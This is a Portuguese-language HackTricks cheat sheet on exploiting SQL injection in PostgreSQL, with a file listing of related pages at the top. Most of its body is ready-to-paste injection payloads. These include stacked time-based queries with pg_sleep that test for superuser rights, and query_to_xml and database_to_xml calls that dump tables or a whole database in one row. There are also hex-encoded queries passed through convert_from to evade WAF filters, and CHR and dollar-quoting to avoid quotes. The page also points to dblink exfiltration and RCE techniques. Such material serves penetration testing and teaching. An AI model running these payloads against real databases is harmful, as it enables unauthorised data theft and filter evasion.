hacktricks/pentesting-web/sql-injection/postgresql-injection
2023-07-13 10:23:45 +00:00
..
big-binary-files-upload-postgresql.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
dblink-lo_import-data-exfiltration.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
pl-pgsql-password-bruteforce.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
rce-with-postgresql-extensions.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
rce-with-postgresql-languages.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
README.md Translated ['generic-methodologies-and-resources/shells/windows.md', 'ma 2023-07-13 10:23:45 +00:00

Injeção no PostgreSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Dica de bug bounty: inscreva-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje mesmo e comece a ganhar recompensas de até $100.000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Esta página tem como objetivo explicar diferentes truques que podem ajudá-lo a explorar uma injeção SQL encontrada em um banco de dados postgresql e complementar os truques que você pode encontrar em https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Resposta de Desafio NTLM e Exfiltração

dblink é um módulo do PostgreSQL que oferece várias opções interessantes do ponto de vista do atacante. Ele pode ser usado para conectar-se a outras instâncias do PostgreSQL ou realizar conexões TCP.
Essas funcionalidades, juntamente com a funcionalidade COPY FROM, podem ser usadas para escalar privilégios, realizar varreduras de portas ou obter respostas de desafio NTLM.
Você pode ler aqui como realizar esses ataques.

Você pode ler este exemplo para ver um exemplo de CTF de como carregar dados dentro de objetos grandes e depois exfiltrar o conteúdo dos objetos grandes dentro do nome de usuário da função dblink_connect.

Ataques ao PostgreSQL: Leitura/escrita, RCE, escalação de privilégios

Veja como comprometer o host e escalar privilégios a partir do PostgreSQL em:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Bypass de WAF

Funções de String do PostgreSQL

Manipular strings pode ajudá-lo a burlar WAFs ou outras restrições.
Nesta página, você pode encontrar algumas funções úteis de strings.

Consultas Empilhadas

Lembre-se de que o postgresql suporta consultas empilhadas, mas vários aplicativos lançarão um erro se forem retornadas 2 respostas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas por meio da injeção de tempo:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Truques XML

query_to_xml

Esta função retornará todos os dados no formato XML em apenas um arquivo. É ideal se você deseja despejar muitos dados em apenas 1 linha:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode DoSá-lo ou até mesmo o seu próprio cliente):

SELECT database_to_xml(true,true,'');

Strings em Hexadecimal

Se você pode executar consultas passando-as dentro de uma string (por exemplo, usando a função query_to_xml). Você pode usar o convert_from para passar a string como hexadecimal e contornar os filtros dessa maneira:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Aspas proibidas

Se não puder usar aspas em sua carga útil, você pode contornar isso com CHR para cláusulas básicas (a concatenação de caracteres só funciona para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ou com $. Essas consultas retornam os mesmos resultados:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;


Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de recompensa por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje mesmo e comece a ganhar recompensas de até $100.000!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥